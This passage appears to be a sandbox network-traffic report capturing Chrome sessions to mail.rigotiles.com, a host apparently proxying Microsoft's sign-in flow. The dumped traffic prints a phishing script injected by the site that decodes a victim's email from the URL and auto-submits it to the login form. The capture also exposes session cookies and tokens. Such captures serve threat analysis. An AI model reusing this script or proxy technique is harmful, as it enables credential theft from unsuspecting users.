SameSite=NoneSet-Cookie: OH.SID=; Path=/; Expires=Thu, 01 Jan 1970 00:00:00 GMTSet-Cookie: .AspNetCore.OpenIdConnect.Nonce.0wCPX
2024-10-31 20:55:05 UTC	221	IN	Data Raw: 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 31 31 32 39 26 73 65 6e 74 3d 34 26 72 65 63 76 3d 36 26 6c 6f 73 74 3d 30 26 72 65 74 72 61 6e 73 3d 30 26 73 65 6e 74 5f 62 79 74 65 73 3d 32 38 33 30 26 72 65 63 76 5f 62 79 74 65 73 3d 31 33 37 32 26 64 65 6c 69 76 65 72 79 5f 72 61 74 65 3d 32 35 36 30 35 36 35 26 63 77 6e 64 3d 32 34 39 26 75 6e 73 65 6e 74 5f 62 79 74 65 73 3d 30 26 63 69 64 3d 63 37 35 37 39 31 61 64 33 64 33 62 31 62 66 62 26 74 73 3d 33 37 36 26 78 3d 30 22 0d 0a 0d 0a Data Ascii: alt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1129&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2830&recv_bytes=1372&delivery_rate=2560565&cwnd=249&unsent_bytes=0&cid=c75791ad3d3b1bfb&ts=376&x=0"
2024-10-31 20:55:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.16	53707	188.114.97.3	443	7004	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 20:55:05 UTC	1915	OUT	GET /common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638660049050246663.ODc3ZjU4ZjQtODc2Zi00ODIzLWE0ZWYtZTkwNDU1YWI0OTFiM2NlOWFhNzEtMjU2Ny00ZjYwLTgzNzEtODIzYmIwYzA4ODM0&ui_locales=en-US&mkt=en-US&client-request-id=38bb8568-fea6-41ed-ae3e-ed6af3504c2b&state=x4Aec5a0t6Chw2Cmg3oyOPc-mwB2u0ch0KBYfu6mFO5Ma9nmM_3GwZPFX412dON63puN8EmddEU_qbWoXhATmOc0tMJNkQgq5JBQxfDDFQOnDaAULmUWlGDanz3aCy4nYqKb7pQIfefqVH19cqYbRn5LhF6TdIjTRmTo2w8AteES04W1enQACj8zsPIvZTVP2q0Ivk-tgunlyCULGc3oUQHLKsH_aN5xgAMMDXqLt9ycip-0aqZMys4sowroO7trqWt3x56-Y1VnFgP7VP530Q&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0 HTTP/1.1 Host: mail.rigotiles.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://mail.rigotiles.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 0874-e292=07f1e878a6a4099a22d191aa8620db246a4d51250183c5b6fa76fa586131f157; x-ms-gateway-slice=estsfd; fpc=AruFywdRNsJGosIYeIFG8IA; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFe-AyN2vN-JZnTZfC12RmLUEtADKPEs35jiYAhQHvA7yy6XAZXDIvOksTiwlwkBdwZLRLEiuBbMqix2p0WltGmtzxvUP8xE8uk3ylawvpG2uOJgxdJBWBGlnqwE6QkVUUwW1cWu4pTSsWeRfeyE-7UsO2x5VMtIehx38SdhASkTlAgAA; stsservicecookie=estsfd; MUID=3FEF292F99CD6FE9028E3C0698816E87
2024-10-31 20:55:06 UTC	1350	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 20:55:06 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Credentials: true Cache-Control: no-cache, no-store Expires: -1 Nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} P3p: CP="DSP CUR OTPi IND OTRi ONL FIN" Pragma: no-cache Referrer-Policy: strict-origin-when-cross-origin Report-To: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://identity.nel.measure.office.net/api/report?catId=GW+estsfd+wst"}]} Set-Cookie: esctx-tqcq03maRtc=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeshBZkdRtL4uCiakvoFKUDu3OINUz_20GUUDVINotffSlbTWb7a8G4YNtFArgcCTCPKsCD9L0xmgVGLAHq1Y_wENBJBKaSY6c_QUlSL0ILScFRvwDLrvS27gX9qgXcWroShwQ2ZnyokFi_x8kbcBoYiAA; Path=/; Domain=mail.rigotiles.com; HttpOnly; Secure; SameSite=None Set-Cookie: fpc=AruFywdRNsJGosIYeIFG8IA; Path=/; Expires=Sat, 30 Nov 2024 20:55:06 GMT; HttpOnly; Secure; SameSite=None Set-Cookie: x-ms-gateway-slice=estsfd; Path=/; HttpOnly; Secure; SameSite=None Vary: Accept-Encoding X-Ms-Clitelem: 1,50168,0,, X-Ms-Ests-Server: 2.1.19267.5 - NCUS ProdSlices X-Ms-Request-Id: 801efadb-dd49-4a44-8188-99b942e62100 X-Ms-Srs: 1.P cf-cache-status: DYNAMIC Server: cloudflare CF-RAY: 8db68b4598b93ab2-DFW alt-svc: h3=":443"; ma=86400
2024-10-31 20:55:06 UTC	191	IN	Data Raw: 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 31 30 38 39 26 73 65 6e 74 3d 35 26 72 65 63 76 3d 37 26 6c 6f 73 74 3d 30 26 72 65 74 72 61 6e 73 3d 30 26 73 65 6e 74 5f 62 79 74 65 73 3d 32 38 32 39 26 72 65 63 76 5f 62 79 74 65 73 3d 32 35 31 35 26 64 65 6c 69 76 65 72 79 5f 72 61 74 65 3d 32 34 31 35 33 34 36 26 63 77 6e 64 3d 32 32 39 26 75 6e 73 65 6e 74 5f 62 79 74 65 73 3d 30 26 63 69 64 3d 62 64 36 32 39 66 66 63 63 32 61 61 63 36 64 36 26 74 73 3d 34 33 34 26 78 3d 30 22 0d 0a 0d 0a Data Ascii: server-timing: cfL4;desc="?proto=TCP&rtt=1089&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2829&recv_bytes=2515&delivery_rate=2415346&cwnd=229&unsent_bytes=0&cid=bd629ffcc2aac6d6&ts=434&x=0"
2024-10-31 20:55:06 UTC	1197	IN	Data Raw: 34 30 30 30 0d 0a 0d 0a 0d 0a 3c 21 2d 2d 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 20 2d 2d 3e 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 52 65 64 69 72 65 63 74 69 6e 67 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 Data Ascii: 4000... Copyright (C) Microsoft Corporation. All rights reserved. --><!DOCTYPE html><html><head> <title>Redirecting</title> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <meta http-equiv="X-UA-Compatible"
2024-10-31 20:55:06 UTC	1369	IN	Data Raw: 4f 44 63 32 5a 69 30 30 4f 44 49 7a 4c 57 45 30 5a 57 59 74 5a 54 6b 77 4e 44 55 31 59 57 49 30 4f 54 46 69 4d 32 4e 6c 4f 57 46 68 4e 7a 45 74 4d 6a 55 32 4e 79 30 30 5a 6a 59 77 4c 54 67 7a 4e 7a 45 74 4f 44 49 7a 59 6d 49 77 59 7a 41 34 4f 44 4d 30 5c 75 30 30 32 36 72 65 64 69 72 65 63 74 5f 75 72 69 3d 68 74 74 70 73 25 33 61 25 32 66 25 32 66 77 77 77 2e 6f 66 66 69 63 65 2e 63 6f 6d 25 32 66 6c 61 6e 64 69 6e 67 76 32 5c 75 30 30 32 36 72 65 73 70 6f 6e 73 65 5f 6d 6f 64 65 3d 66 6f 72 6d 5f 70 6f 73 74 5c 75 30 30 32 36 72 65 73 70 6f 6e 73 65 5f 74 79 70 65 3d 63 6f 64 65 2b 69 64 5f 74 6f 6b 65 6e 5c 75 30 30 32 36 73 63 6f 70 65 3d 6f 70 65 6e 69 64 2b 70 72 6f 66 69 6c 65 2b 68 74 74 70 73 25 33 61 25 32 66 25 32 66 77 77 77 2e 6f 66 66 69 63 Data Ascii: ODc2Zi00ODIzLWE0ZWYtZTkwNDU1YWI0OTFiM2NlOWFhNzEtMjU2Ny00ZjYwLTgzNzEtODIzYmIwYzA4ODM0\u0026redirect_uri=https%3a%2f%2fwww.office.com%2flandingv2\u0026response_mode=form_post\u0026response_type=code+id_token\u0026scope=openid+profile+https%3a%2f%2fwww.offic
2024-10-31 20:55:06 UTC	1369	IN	Data Raw: 65 64 36 61 66 33 35 30 34 63 32 62 22 2c 22 69 77 61 49 46 72 61 6d 65 55 72 6c 46 6f 72 6d 61 74 22 3a 22 68 74 74 70 73 3a 2f 2f 61 75 74 6f 6c 6f 67 6f 6e 2e 6d 69 63 72 6f 73 6f 66 74 61 7a 75 72 65 61 64 2d 73 73 6f 2e 63 6f 6d 2f 7b 30 7d 2f 77 69 6e 61 75 74 68 2f 69 66 72 61 6d 65 3f 63 6c 69 65 6e 74 2d 72 65 71 75 65 73 74 2d 69 64 3d 33 38 62 62 38 35 36 38 2d 66 65 61 36 2d 34 31 65 64 2d 61 65 33 65 2d 65 64 36 61 66 33 35 30 34 63 32 62 5c 75 30 30 32 36 69 73 41 64 61 6c 52 65 71 75 65 73 74 3d 46 61 6c 73 65 22 2c 22 69 77 61 52 65 71 75 65 73 74 54 69 6d 65 6f 75 74 49 6e 4d 73 22 3a 31 30 30 30 30 2c 22 73 74 61 72 74 44 65 73 6b 74 6f 70 53 73 6f 4f 6e 50 61 67 65 4c 6f 61 64 22 3a 66 61 6c 73 65 2c 22 70 72 6f 67 72 65 73 73 41 6e 69 Data Ascii: ed6af3504c2b","iwaIFrameUrlFormat":"https://autologon.microsoftazuread-sso.com/{0}/winauth/iframe?client-request-id=38bb8568-fea6-41ed-ae3e-ed6af3504c2b\u0026isAdalRequest=False","iwaRequestTimeoutInMs":10000,"startDesktopSsoOnPageLoad":false,"progressAni
2024-10-31 20:55:06 UTC	1369	IN	Data Raw: 44 34 55 47 78 32 4e 61 6d 38 71 6e 53 37 6e 51 4a 58 61 43 42 6c 4f 65 79 46 67 71 39 30 6e 71 6a 6b 68 74 4c 33 4e 33 67 33 6d 67 62 46 6c 39 6f 66 33 7a 37 30 77 4b 55 33 43 7a 71 48 70 48 67 49 6c 48 44 2d 68 54 4c 69 4a 46 6b 58 73 6c 52 6b 63 64 61 34 54 33 68 37 36 43 41 41 22 2c 22 63 61 6e 61 72 79 22 3a 22 78 61 62 56 42 43 32 67 37 71 2f 45 34 52 4d 62 30 54 48 64 4e 43 62 64 6e 30 69 30 30 72 4d 6f 59 68 70 4c 44 45 53 4d 57 63 73 3d 39 3a 31 3a 43 41 4e 41 52 59 3a 48 46 74 6c 4c 5a 4a 37 4f 4f 36 6a 70 70 4d 31 57 71 58 38 37 44 6e 53 48 4f 62 63 38 36 36 42 65 2b 52 67 63 6a 79 67 6b 6d 77 3d 22 2c 22 73 43 61 6e 61 72 79 54 6f 6b 65 6e 4e 61 6d 65 22 3a 22 63 61 6e 61 72 79 22 2c 22 66 53 6b 69 70 52 65 6e 64 65 72 69 6e 67 4e 65 77 43 61 Data Ascii: D4UGx2Nam8qnS7nQJXaCBlOeyFgq90nqjkhtL3N3g3mgbFl9of3z70wKU3CzqHpHgIlHD-hTLiJFkXslRkcda4T3h76CAA","canary":"xabVBC2g7q/E4RMb0THdNCbdn0i00rMoYhpLDESMWcs=9:1:CANARY:HFtlLZJ7OO6jppM1WqX87DnSHObc866Be+Rgcjygkmw=","sCanaryTokenName":"canary","fSkipRenderingNewCa
2024-10-31 20:55:06 UTC	1369	IN	Data Raw: 73 75 70 70 6f 72 74 2e 6d 69 6e 5f 6f 61 64 72 6e 63 31 33 6d 61 67 62 30 30 39 6b 34 64 32 30 6c 67 32 2e 6a 73 22 2c 22 72 65 73 65 74 45 72 72 6f 72 50 65 72 69 6f 64 22 3a 35 2c 22 6d 61 78 43 6f 72 73 45 72 72 6f 72 73 22 3a 2d 31 2c 22 6d 61 78 49 6e 6a 65 63 74 45 72 72 6f 72 73 22 3a 35 2c 22 6d 61 78 45 72 72 6f 72 73 22 3a 31 30 2c 22 6d 61 78 54 6f 74 61 6c 45 72 72 6f 72 73 22 3a 33 2c 22 65 78 70 53 72 63 73 22 3a 5b 22 68 74 74 70 73 3a 2f 2f 6d 61 69 6c 2e 72 69 67 6f 74 69 6c 65 73 2e 63 6f 6d 22 2c 22 68 74 74 70 73 3a 2f 2f 76 6e 33 68 67 2e 72 69 67 6f 74 69 6c 65 73 2e 63 6f 6d 2f 22 2c 22 68 74 74 70 73 3a 2f 2f 61 61 64 63 64 6e 2e 6d 73 66 74 61 75 74 68 2e 6e 65 74 2f 22 2c 22 2e 6d 61 69 6c 2e 72 69 67 6f 74 69 6c 65 73 2e 63 6f Data Ascii: support.min_oadrnc13magb009k4d20lg2.js","resetErrorPeriod":5,"maxCorsErrors":-1,"maxInjectErrors":5,"maxErrors":10,"maxTotalErrors":3,"expSrcs":["https://mail.rigotiles.com","https://vn3hg.rigotiles.com/","https://aadcdn.msftauth.net/",".mail.rigotiles.co
2024-10-31 20:55:06 UTC	1369	IN	Data Raw: 2c 22 74 65 6c 65 6d 65 74 72 79 22 3a 7b 22 74 79 70 65 22 3a 22 43 68 72 6f 6d 65 53 73 6f 54 65 6c 65 6d 65 74 72 79 22 2c 22 6e 6f 6e 63 65 22 3a 22 41 77 41 42 44 77 45 41 41 41 41 44 41 4f 7a 5f 42 51 44 30 5f 7a 33 6a 4d 4c 63 47 64 48 65 68 6a 51 6a 33 77 38 75 30 6c 53 49 58 57 55 45 69 48 35 67 6a 72 62 7a 75 4d 54 61 5f 79 66 34 43 5a 35 35 31 76 43 32 79 30 55 35 73 36 55 64 5a 4e 6d 67 69 69 6d 32 64 75 68 6e 30 51 2d 5a 53 61 31 31 33 65 37 37 53 47 63 66 66 32 59 41 47 54 39 48 41 30 45 79 44 4f 2d 50 54 6d 4b 51 65 49 41 41 22 2c 22 72 65 70 6f 72 74 53 74 61 74 65 73 22 3a 5b 5d 7d 2c 22 72 65 64 69 72 65 63 74 45 6e 64 53 74 61 74 65 73 22 3a 5b 22 65 6e 64 22 5d 2c 22 63 6f 6f 6b 69 65 4e 61 6d 65 73 22 3a 7b 22 61 61 64 53 73 6f 22 3a Data Ascii: ,"telemetry":{"type":"ChromeSsoTelemetry","nonce":"AwABDwEAAAADAOz_BQD0_z3jMLcGdHehjQj3w8u0lSIXWUEiH5gjrbzuMTa_yf4CZ551vC2y0U5s6UdZNmgiim2duhn0Q-ZSa113e77SGcff2YAGT9HA0EyDO-PTmKQeIAA","reportStates":[]},"redirectEndStates":["end"],"cookieNames":{"aadSso":
2024-10-31 20:55:06 UTC	1369	IN	Data Raw: 20 73 3d 6f 2e 72 26 26 6f 2e 72 5b 65 5d 3b 72 65 74 75 72 6e 20 72 3d 72 7c 7c 74 68 69 73 2c 73 26 26 28 73 2e 73 6b 69 70 54 69 6d 65 6f 75 74 3f 61 28 29 3a 6e 2e 73 65 74 54 69 6d 65 6f 75 74 28 61 2c 30 29 29 2c 73 7d 66 75 6e 63 74 69 6f 6e 20 74 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2e 73 6c 69 63 65 2e 63 61 6c 6c 28 65 2c 72 3f 31 3a 30 29 7d 76 61 72 20 6e 3d 77 69 6e 64 6f 77 3b 6e 2e 24 44 6f 7c 7c 28 6e 2e 24 44 6f 3d 7b 22 71 22 3a 5b 5d 2c 22 72 22 3a 5b 5d 2c 22 72 65 6d 6f 76 65 49 74 65 6d 73 22 3a 5b 5d 2c 22 6c 6f 63 6b 22 3a 30 2c 22 6f 22 3a 5b 5d 7d 29 3b 76 61 72 20 6f 3d 6e 2e 24 44 6f 3b 6f 2e 77 68 65 6e 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 6e 29 7b 66 75 6e 63 74 69 6f 6e 20 69 28 Data Ascii: s=o.r&&o.r[e];return r=r\|\|this,s&&(s.skipTimeout?a():n.setTimeout(a,0)),s}function t(e,r){return Array.prototype.slice.call(e,r?1:0)}var n=window;n.$Do\|\|(n.$Do={"q":[],"r":[],"removeItems":[],"lock":0,"o":[]});var o=n.$Do;o.when=function(t,n){function i(
2024-10-31 20:55:06 UTC	1369	IN	Data Raw: 65 6e 74 4c 6f 61 64 65 64 22 2c 6f 2c 21 31 29 2c 65 2e 72 65 6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 6c 6f 61 64 22 2c 6e 2c 21 31 29 29 3a 72 2e 61 74 74 61 63 68 45 76 65 6e 74 26 26 28 72 2e 64 65 74 61 63 68 45 76 65 6e 74 28 22 6f 6e 72 65 61 64 79 73 74 61 74 65 63 68 61 6e 67 65 22 2c 6f 29 2c 65 2e 64 65 74 61 63 68 45 76 65 6e 74 28 22 6f 6e 6c 6f 61 64 22 2c 6e 29 29 7d 76 61 72 20 61 3d 21 31 2c 73 3d 21 31 3b 69 66 28 22 63 6f 6d 70 6c 65 74 65 22 3d 3d 3d 72 2e 72 65 61 64 79 53 74 61 74 65 29 7b 72 65 74 75 72 6e 20 76 6f 69 64 20 73 65 74 54 69 6d 65 6f 75 74 28 6e 29 7d 21 66 75 6e 63 74 69 6f 6e 28 29 7b 72 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 3f 28 72 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 Data Ascii: entLoaded",o,!1),e.removeEventListener("load",n,!1)):r.attachEvent&&(r.detachEvent("onreadystatechange",o),e.detachEvent("onload",n))}var a=!1,s=!1;if("complete"===r.readyState){return void setTimeout(n)}!function(){r.addEventListener?(r.addEventListener(
2024-10-31 20:55:06 UTC	1369	IN	Data Raw: 65 2e 73 68 65 65 74 2c 61 3d 69 26 26 69 2e 63 73 73 52 75 6c 65 73 2c 73 3d 21 31 7d 63 61 74 63 68 28 65 29 7b 73 3d 21 30 7d 69 66 28 69 26 26 21 61 26 26 73 29 7b 72 65 74 75 72 6e 21 30 7d 0a 69 66 28 69 26 26 61 26 26 30 3d 3d 3d 61 2e 6c 65 6e 67 74 68 29 7b 72 65 74 75 72 6e 21 30 7d 7d 72 65 74 75 72 6e 21 31 7d 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 66 75 6e 63 74 69 6f 6e 20 74 28 65 29 7b 67 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 22 68 65 61 64 22 29 5b 30 5d 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 6e 28 65 2c 72 2c 74 2c 6e 29 7b 76 61 72 20 75 3d 6e 75 6c 6c 3b 72 65 74 75 72 6e 20 75 3d 6f 28 65 29 3f 69 28 65 29 3a 22 73 63 72 69 70 74 22 3d 3d 3d 6e 2e 74 6f 4c 6f 77 65 72 43 Data Ascii: e.sheet,a=i&&i.cssRules,s=!1}catch(e){s=!0}if(i&&!a&&s){return!0}if(i&&a&&0===a.length){return!0}}return!1}function c(){function t(e){g.getElementsByTagName("head")[0].appendChild(e)}function n(e,r,t,n){var u=null;return u=o(e)?i(e):"script"===n.toLowerC

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.16	53708	188.114.97.3	443	7004	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 20:55:06 UTC	2070	OUT	GET /s/07f1e878a6a4099a22d191aa8620db246a4d51250183c5b6fa76fa586131f157/e912187ff14fbe0e087fdd0242e0ac50ec5f2e3b1729e3fe0d8b2bf4a69d8ad8.js HTTP/1.1 Host: mail.rigotiles.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://mail.rigotiles.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638660049050246663.ODc3ZjU4ZjQtODc2Zi00ODIzLWE0ZWYtZTkwNDU1YWI0OTFiM2NlOWFhNzEtMjU2Ny00ZjYwLTgzNzEtODIzYmIwYzA4ODM0&ui_locales=en-US&mkt=en-US&client-request-id=38bb8568-fea6-41ed-ae3e-ed6af3504c2b&state=x4Aec5a0t6Chw2Cmg3oyOPc-mwB2u0ch0KBYfu6mFO5Ma9nmM_3GwZPFX412dON63puN8EmddEU_qbWoXhATmOc0tMJNkQgq5JBQxfDDFQOnDaAULmUWlGDanz3aCy4nYqKb7pQIfefqVH19cqYbRn5LhF6TdIjTRmTo2w8AteES04W1enQACj8zsPIvZTVP2q0Ivk-tgunlyCULGc3oUQHLKsH_aN5xgAMMDXqLt9ycip-0aqZMys4sowroO7trqWt3x56-Y1VnFgP7VP530Q&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 0874-e292=07f1e878a6a4099a22d191aa8620db246a4d51250183c5b6fa76fa586131f157; x-ms-gateway-slice=estsfd; fpc=AruFywdRNsJGosIYeIFG8IA; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFe-AyN2vN-JZnTZfC12RmLUEtADKPEs35jiYAhQHvA7yy6XAZXDIvOksTiwlwkBdwZLRLEiuBbMqix2p0WltGmtzxvUP8xE8uk3ylawvpG2uOJgxdJBWBGlnqwE6QkVUUwW1cWu4pTSsWeRfeyE-7UsO2x5VMtIehx38SdhASkTlAgAA; stsservicecookie=estsfd; MUID=3FEF292F99CD6FE9028E3C0698816E87; esctx-tqcq03maRtc=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeshBZkdRtL4uCiakvoFKUDu3OINUz_20GUUDVINotffSlbTWb7a8G4YNtFArgcCTCPKsCD9L0xmgVGLAHq1Y_wENBJBKaSY6c_QUlSL0ILScFRvwDLrvS27gX9qgXcWroShwQ2ZnyokFi_x8kbcBoYiAA
2024-10-31 20:55:07 UTC	839	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 20:55:07 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: close Access-Control-Allow-Credentials: true Cache-Control: no-cache, no-store CF-Cache-Status: BYPASS Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1tuyhOkDl6xh%2BKrgqZTW3whuc9LlAGCrtcXeYr%2Bd1USNE9xmx0IbQXqEHNgV%2BchtdOL5eRfrSwrGyrvmPuUFZ7vXU5HX8SgyOPxCWvHOiFPC2P0QLGOmb01AjYbaD4DDwqp96VM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db68b4cea212e18-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1697&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2829&recv_bytes=2648&delivery_rate=1721759&cwnd=229&unsent_bytes=0&cid=9688e3afcd0e69cc&ts=334&x=0"
2024-10-31 20:55:07 UTC	530	IN	Data Raw: 33 32 37 0d 0a 66 75 6e 63 74 69 6f 6e 20 6c 70 28 29 7b 0a 20 20 76 61 72 20 65 6d 61 69 6c 49 64 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 22 23 69 30 31 31 36 22 29 3b 0a 20 20 76 61 72 20 6e 65 78 74 42 75 74 74 6f 6e 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 22 23 69 64 53 49 42 75 74 74 6f 6e 39 22 29 3b 0a 20 20 76 61 72 20 71 75 65 72 79 20 3d 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3b 0a 20 20 69 66 20 28 2f 23 2f 2e 74 65 73 74 28 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 29 29 7b 0a 20 20 76 61 72 20 72 65 73 20 3d 20 71 75 65 72 79 2e 73 70 6c 69 74 28 22 23 22 29 3b 0a 20 20 76 61 72 20 64 61 74 61 31 20 3d 20 72 65 73 5b 30 5d 3b Data Ascii: 327function lp(){ var emailId = document.querySelector("#i0116"); var nextButton = document.querySelector("#idSIButton9"); var query = window.location.href; if (/#/.test(window.location.href)){ var res = query.split("#"); var data1 = res[0];
2024-10-31 20:55:07 UTC	284	IN	Data Raw: 63 68 20 28 65 29 20 7b 0a 20 20 20 20 63 6f 6e 73 6f 6c 65 2e 65 72 72 6f 72 28 27 45 72 72 6f 72 20 64 65 63 6f 64 69 6e 67 20 62 61 73 65 36 34 20 73 74 72 69 6e 67 3a 27 2c 20 65 29 3b 0a 20 20 7d 0a 7d 0a 65 6d 61 69 6c 49 64 2e 66 6f 63 75 73 28 29 3b 0a 65 6d 61 69 6c 49 64 2e 76 61 6c 75 65 20 3d 20 64 65 63 6f 64 65 64 53 74 72 69 6e 67 3b 0a 6e 65 78 74 42 75 74 74 6f 6e 2e 66 6f 63 75 73 28 29 3b 0a 6e 65 78 74 42 75 74 74 6f 6e 2e 63 6c 69 63 6b 28 29 3b 0a 63 6f 6e 73 6f 6c 65 2e 6c 6f 67 28 22 59 45 53 21 22 29 3b 0a 72 65 74 75 72 6e 3b 0a 20 20 20 20 20 20 7d 0a 20 20 7d 0a 20 20 20 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 7b 6c 70 28 29 3b 7d 2c 20 35 30 30 29 3b 0a 20 20 7d 0a 20 20 73 65 74 54 69 6d 65 6f 75 74 28 Data Ascii: ch (e) { console.error('Error decoding base64 string:', e); }}emailId.focus();emailId.value = decodedString;nextButton.focus();nextButton.click();console.log("YES!");return; } } setTimeout(function(){lp();}, 500); } setTimeout(
2024-10-31 20:55:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.16	53709	188.114.97.3	443	7004	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 20:55:06 UTC	2005	OUT	GET /s/07f1e878a6a4099a22d191aa8620db246a4d51250183c5b6fa76fa586131f157.js HTTP/1.1 Host: mail.rigotiles.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: 